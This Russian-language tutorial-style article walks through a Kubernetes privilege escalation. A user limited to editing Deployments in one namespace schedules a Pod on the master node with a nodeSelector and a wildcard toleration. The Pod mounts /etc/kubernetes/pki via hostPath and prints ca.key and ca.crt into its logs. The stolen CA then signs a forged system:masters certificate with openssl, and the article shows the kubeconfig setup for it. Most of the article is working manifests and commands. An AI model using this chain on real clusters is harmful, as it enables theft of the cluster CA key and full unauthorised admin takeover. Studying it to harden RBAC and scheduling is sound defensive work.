Когда кто-то говорит о безопасности, в первую очередь имеет ввиду авторизацию и аутентификацию, но в контексте Kubernetes эти две составляющие являются лишь маленькими кусочками большого пазла.
В этой статье вы увидите, как пользователь с ограниченными правами, может повысить свои привилегии и стать админом кластера.
Вводные данные
Итак, у нас есть пользователь lancelot, с ограниченными правами: он может редактировать и создавать Deployments, и получать информацию о Pods – в пределах своего Namespace. Казалось бы, его права ограничены в рамках одного Namespace, и можно подумать что с точки зрения безопасности тут все хорошо, но к сожалению это не так!
План атаки
Что мы знаем:
ca.key — это приватный ключ CA. С помощью этого файла, обычно хранящегося по известному пути на Master Nodes, вместе с ca.cert мы можем подписать любой CSR. Проблема в том, что этот файл доступен только для root-пользователей.
Наш пользователь (lancelot) может редактировать Deployments, но только в пределах одного Namespace. Он также может читать информацию о Pods, включая их логи!
Deployments порождают Pods, а в Pods крутятся контейнеры.
Использование hostPath позволит примонтировать часть хостовой файловой системы внутрь Pod.
Итак, сам план:
Создаем Deployment и пытаемся заставить Kubernetes запустить Pods на Master Node, где находятся нужные нам сертификаты.
Монтируем директорию /etc/kubernetes/pki через hostPath внутрь Pod.
Внутри созданного Pod, будут лежать нужные нам сертификаты. Мы можем смотреть логи – этого будет достаточно, для того чтобы украсть их.
Создаем CSR для нового пользователя – dragon, члена группы system:masters, и подписываем его с помощью украденных ca.key и ca.cert.
Назначаем Pod на Master Node
Как вы, наверное, знаете, каждый раз когда вы пытаетесь создать Pod, kube-scheduler подбирает оптимальную Node для запуска этого Pod. Это можно проверить, вызвав команду describe для конкретного Pod:
kubectl describe pod <a-pod>
Задача kube-scheduler состоит в том, чтобы найти наиболее подходящую Node для запуска конкретного Pod. Поэтому, как правило, вы не может предугадать на какой Node запустится Pod. Тем не менее, есть несколько вариантов, как заставить запустится Pod на нужной нам Node – самый простой использовать nodeSelector.
nodeSelector
Из официальной документации:
nodeSelector
is the simplest recommended form of node selection constraint. You can add thenodeSelector
field to your Pod specification and specify the node labels you want the target node to have. Kubernetes only schedules the Pod onto nodes that have each of the labels you specify.
Другими словами, Вы можете использовать nodeSelector, чтобы назначить запуск Pod на Node с заданным label. Было бы неплохо, если бы существовал дефолтный label, который мы могли использовать для того, чтобы запустить Pod на нужной нам Node.
Давайте проверим есть ли такой label:
kubectl get node <your-masternode> -o jsonpath=’{.metadata.labels}’ | jq
Лейбл “node-role.kubernetes.io/master” то что нам нужно!
Пример манифеста, где мы создаем Deployment с одной репликой, внутри которого крутится контейнер с nginx, и этот порождённый Pod должен запуститься на Master Node:
cat <<EOF | kubectl apply -f -
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: nginx
name: nginx
spec:
replicas: 1
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
nodeSelector:
node-role.kubernetes.io/master: ""
containers:
- image: nginx
name: nginx
EOF
Посмотрим что произойдет, если применить этот манифест:
kubectl get pod -owide
Кажется что-то пошло не так – Pod в статусе Pending. Если мы попробуем вызвать команду describe, используя наш Service Account lancelot, то мы не увидим никаких Events (у этого пользователя нет прав на это).
Тем не менее, пользователь lancelot имеет права на чтение Pods. Это значит, что мы можем узнать статус Pod:
kubectl get po nginx-... -o jsonpath='{.status.conditions}' | jq
Ошибка гласит нам, что мы на правильном пути! nodeSelector заставил scheduler пропустить две Worker Node, однако Pod не запустился на Master Node из-за taint.
Taint & tolerations
Можно по-разному объяснить что это такое, но давайте я постараюсь это сделать как можно проще. Представьте, что taints это некий забор, разграничивающий VIP зону в клубе, причем попасть в эту зону можно только по приглашениям. А tolerations – это как раз приглашение для входа в VIP зону.
Возвращаясь к Kubernetes, механизм Taint & Tolerations нужен для того, чтобы запускать Pod только на нужных Node – например с нужным оборудованием. Или же наоборот – Taint можно использовать для недопущения запуска Pods на конкретной Node.
Формат такой:
key=value:effect
Key и value являются произвольными строками, а вот effect может принимать разные значения:
NoSchedule – Pods без toleration не смогут запуститься на Node с taint (наш случай).
NoExecute – Pods, работающие на taint Node без toleration, будут удалены с Node.
Tolerations бывает двух видов:
-
Equal – tolerations сработает только при полном совпадении с key, value и effects
tolerations:
- key: "key1"
operator: "Equal"
value: "value1"
effect: "NoSchedule" -
Exist – toleration сработает, если есть совпадение с key и effects
tolerations:
- key: "key1"
operator: "Exists"
effect: "NoSchedule"
Если хотите больше узнать об Taint & Tolerations – изучайте официальную документацию!
Тем не менее, наша текущая ситуация:
Мы не могли заставить запуститься наш Pod на Master Node из-за taint. Но теперь мы знаем как это можно обойти. Отредактируем наш Deployment, добавив 4 строчки:
...
spec:
tolerations:
- key: ""
operator: "Exists"
effect: "NoSchedule"
...
Теперь наш Pod запустился на Master Node:
Кража ключа и сертификата
Теперь, когда мы можем запустить Pod на Master Node, можно развивать атаку дальше. А именно, примонтировать часть файловой системы Node (папку с нужными ключами и сертификатами) внутрь Pod с помощью hostPath. Затем, указать нашему контейнеру вывести в логи содержимое этой папки. Финальная версия Deployment выглядит так:
cat <<EOF | kubectl apply -f -
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: busybox
name: busybox
spec:
replicas: 1
selector:
matchLabels:
app: busybox
template:
metadata:
labels:
app: busybox
spec:
tolerations:
- key: ""
operator: "Exists"
effect: "NoSchedule"
nodeSelector:
node-role.kubernetes.io/master: ""
containers:
- image: busybox
name: busybox
command:
- sh
- -c
- echo -e "KEY:\n"; cat /etc/kubernetes/pki/ca.key; echo -e "CRT\n"; cat /etc/kubernetes/pki/ca.crt; sleep 3600;
volumeMounts:
- mountPath: /etc/kubernetes/pki
name: k8s-certs
volumes:
- name: k8s-certs
hostPath:
path: /etc/kubernetes/pki
EOF
Если посмотреть логи Pod, то можно увидеть ключи и сертификаты, которые мы искали:
kubectl logs busybox-...
Генерируем креды с админскими правами
Мы получили нужные нам ключи и сертификаты. Пришло время создать сертификат c админскими правами для пользователя dragon:
openssl genrsa -out dragon.key 2048
openssl req -new -key dragon.key -out dragon.csr -subj "/CN=dragon/O=system:masters"
openssl x509 -req -in dragon.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out dragon.crt -days 365
Затем мы можем добавить новый сертификат в KUBECONFIG. Обратите внимание, что имя моего кластера – camelot, у Вас имя будет отличаться.
kubectl config set-credentials dragon --client-certificate=dragon.crt --client-key=dragon.key --embed-certs
kubectl config set-context dragon@camelot --user=dragon --cluster=camelot
kubectl config use-context dragon@camelot
Поздравляю! Вы стали кластер-админом:
kubectl auth can-i delete namespaces -A
> yes